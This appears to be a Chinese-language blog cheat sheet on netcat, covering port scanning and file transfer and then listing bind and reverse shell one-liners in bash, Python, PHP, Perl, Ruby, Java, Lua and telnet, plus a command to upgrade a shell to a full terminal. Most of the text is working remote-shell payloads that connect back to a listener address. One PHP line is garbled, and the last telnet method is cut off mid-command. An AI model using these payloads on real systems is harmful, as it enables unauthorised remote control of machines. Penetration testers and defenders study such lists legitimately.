nc的几种常用操作以及常见的反弹shell的姿势

端口扫描：

nc -v ip port  　　　　　指定端口
nc -v -w ip -z 1-65536  指定端口范围
nc -nvz 127.0.0.1 1-100　　nc 使用全链接方式扫描端口（TCP扫描）
nc -nvzu 192.168.1.105 1-1024 udp扫描

-v 输出详细报告

-w timeout 一个链接一段时间无操作，则自动断开，默认无超时

-z 只监听不发送任何包

文件传输：

nc -l 8099 > 要接受的文件名
nc  目的IP 8099 < 要发送的文件

正向反弹：

靶机：

nc -lvp 8099 -e /bin/bash 或者  nc -lvp 8099 -e cmd.exe

连接机上输入

nc 靶机ip 8099

正向反弹是目标机先执行nc命令，然后kali上再进行nc监听，即可反弹shell。

 反向反弹

方法1：

靶机

nc 监听地址 监听端口 -e /bin/bash 
nc 监听地址 监听端口 -e cmd.exe

监听：

nc -Lvp 8099

 方法2：bash

bash -i >& /dev/tcp/127.0.0.1/8099 0>&1

监听：

nc -Lvp 8099

此方法在ubuntu下不会反弹成功，CentOS可以反弹成功。

方法3 :python

靶机反弹shell的命令如下：

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('监测的IP',监测的端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

方法4：php

（注意php反弹shell的这些方法都需要php关闭safe_mode这个选项，才可以使用exec函数。）

监听：

nc -Lvp 8099

靶机

php- 'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/8099")' 或者
php -r '$sock=fsockopen("127.0.0.1",8099);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

 遇到反弹后不是正常的shell，可用命令：

python -c 'import pty;pty.spawn("/bin/bash")'

转化为常规的shell。

方法5：perl

perl -e 'use Socket;$i="127.0.0.1";$p=8099;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

方法6：ruby

ruby -rsocket -e'f=TCPSocket.open("127.0.0.1",8099).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f)'

方法7：java 

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/127.0.0.1/8099;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

方法8： lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('127.0.0.1','8099');os.execute('/bin/sh -i <&3 >&3 2>&3');"

方法9：telnet

方法一：
攻击者主机上打开两个终端分别执行监听：

nc -lvvp 4444
nc -lvvp 5555


目标主机中执行：

telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555



监听两个端口分别用来输入和输出，其中x.x.x.x均为攻击者ip

反弹shell成功后，在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。

方法二：
rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p